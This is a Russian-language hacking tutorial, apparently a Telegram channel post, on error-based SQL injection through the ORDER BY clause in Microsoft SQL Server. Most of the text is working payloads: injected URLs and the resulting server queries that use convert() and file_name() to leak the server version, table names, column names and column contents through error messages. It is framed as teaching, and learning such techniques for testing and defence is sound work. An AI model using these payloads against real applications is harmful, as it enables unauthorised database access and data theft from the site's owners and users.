SQL-инъекция через ошибку при помощи оператора «Order By» (MSSQL)

SQL-инъекция через ошибку при помощи оператора «Order By» (MSSQL)

Life-Hack [Жизнь-Взлом]/Хакинг

#Обучение

Уязвимости, связанные с SQL-инъекциями, являются одними из наиболее старых и хорошо известных, которые доставили немало проблем обитателям киберпространства. Специалисты по безопасности опубликовали множество статей, описывающих техники для проведения различных типов атак, включая доступ к информации в базах данных, чтение/запись кода с/на сервер при помощи конструкций «load outfile» и «into outfile» в MySQL и выполнение кода от имени учетной записи SA в MSSQL.

В этой статье мы рассмотрим эксплуатацию SQL-инъекции, когда данные передаются через оператор «Order By» в MSSQL, и приложение возвращает ошибку со стороны SQL-сервера в случае, если есть ошибка в синтаксисе SQL-запроса.

Если информация передается пользователем через SQL-запрос в качестве имени колонки, используемой в операторе «Order By», обычная SQL-инъекция на базе ошибки (Error based SQL Injection) не поможет.

Все дело в том, что в SQL-сервере предусмотрен предопределенный набор правил для SQL-запросов из-за которых, мы не можем воспользоваться техникой «Error based SQL Injection».

С другой стороны, пользователь может передать имя функции внутри оператора «Order by», и в этом случае эксплуатация бреши становится возможной. Мы должны внедрить функцию на стороне SQL-сервера, которая выполняет запрос, передаваемый в качестве аргумента, пытается выполнить операции с результатами выполнения инжектированного запроса, а затем выдает ошибку, через которую отобразятся результаты инжектированного SQL-запроса.

Схема эксплуатации

Существует не так много функций, которые могут выполнять SQL-запрос, передаваемый в качестве аргумента, производят операции по результатам выполнения запроса и выдают результаты выполнения SQL-запроса через ошибку.

Convert() – одна из наиболее часто используемых функции при реализации выполнении инъекций Error based SQL injection в сочетании с оператором «and».

Функция convert() пытается выполнить преобразование результатов запроса, передаваемого во втором аргументе, в соответствие с типом данных, указанным в первом аргументе.

Например, при использовании конструкции convert(int,@@version) вначале будет выполняться SQL-запрос из второго аргумента, а затем функция convert попытается преобразовать результаты выполнения запроса к целочисленному типу. Однако поскольку SQL-запрос возвращает данные типа varchar, преобразование не выполнится, и функция convert возвратит ошибку, суть которой будет сводиться к тому, что результаты выполнения запроса не могут быть преобразованы к целочисленному типу. Именно используя этот трюк, злоумышленник может получить результаты выполнения SQL-запроса.

Перечень функций, при помощи которых доступна реализация похожих сценариев:

  • convert ()
  • file_name ()
  • db_name()
  • col_name()
  • filegroup_name()
  • object_name()
  • schema_name()
  • type_name()
  • cast()

Пример

Предположим, что у нас есть URL, где присутствует уязвимость на базе SQL-инъекции, когда мы передаем содержимое поля «order» через метод HTTP GET:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=column_name

Приложение принимает пользовательские данные из параметра «order» метода HTTP GET и формирует следующий запрос:

Select table_name,column_name from information_schema.columns order by column_name

Примеры инъекций с функцией convert()

Получение версии SQL-сервера

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=convert(int,@@version)

Запрос, выполняемый на стороне сервера:

select table_name,column_name from information_schema.columns order by convert(int,@@version)

Пример SQL-инъекции для получения версии сервера с использованием функции convert 

Получение имени таблицы в текущей базе данных

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=CONVERT(int,(select top(1) table_name from information_schema.columns))

Запрос, выполняемый на стороне сервера:

select table_name,column_name from information_schema.columns order by CONVERT(int,(select top(1) table_name from information_schema.tables))

Пример SQL-инъекции для извлечения имени таблицы с использованием функции convert

Получение имени колонки таблицы

Для извлечения имени колонки мы будем использовать функцию cast() для указания имени таблицы, из которой будет извлекаться имя колонки. Имя таблицы указано в шестнадцатеричном формате.

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order= convert(int,(select top(1) COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))

Запрос, выполняемый на стороне сервера:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by convert(int,(select top(1) COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))

Пример SQL-инъекции для извлечения имени колонки с использованием функции convert

Извлечение данных из колонки таблицы

Получение информации из колонки выполняется схожим образом. Достаточно указать имя колонки и имя таблицы в SQL-запросе. В примере ниже используется имя колонки «xserver_name» из таблицы «spt_fallback_db».

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=convert(int,(select top(1) xserver_name from spt_fallback_db))

Запрос, выполняемый на стороне сервера:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by convert(int,(select top(1) xserver_name from spt_fallback_db))

Пример SQL-инъекции для получения информации из колонки с использованием функции convert

Примеры инъекций с функцией file_name()

Получение версии SQL-сервера

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=file_name(@@version)

Запрос, выполняемый на стороне сервера:

select table_name,column_name from information_schema.columns order by file_name(@@version)

Пример SQL-инъекции для получения версии сервера с использованием функции file_name

Получение имени таблицы в текущей базе данных

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=file_name(select top(1) table_name from information_schema.columns)

Запрос, выполняемый на стороне сервера:

select table_name,column_name from information_schema.columns order by file_name(select top(1) table_name from information_schema.tables)

Пример SQL-инъекции для извлечения имени таблицы с использованием функции file_name

Получение имени колонки таблицы

Для извлечения имени колонки мы будем использовать функцию cast() для указания имени таблицы, из которой будет извлекаться имя колонки. Имя таблицы указано в шестнадцатеричном формате.

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order= file_name(select top(1) COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar))

Запрос, выполняемый на стороне сервера:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by file_name(select top(1) COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar))

Пример SQL-инъекции для извлечения имени колонки с использованием функции file_name

Извлечение данных из колонки таблицы

Получение информации из колонки выполняется схожим образом. Достаточно указать имя колонки и имя таблицы в SQL-запросе. В примере ниже используется имя колонки «xserver_name» из таблицы «spt_fallback_db».

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order= file_name((select top(1) xserver_name from spt_fallback_db))

Запрос, выполняемый на стороне сервера:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by file_name((select top(1) xserver_name from spt_fallback_db))

Пример SQL-инъекции для получения информации из колонки с использованием функции file_name

Источник


Report Page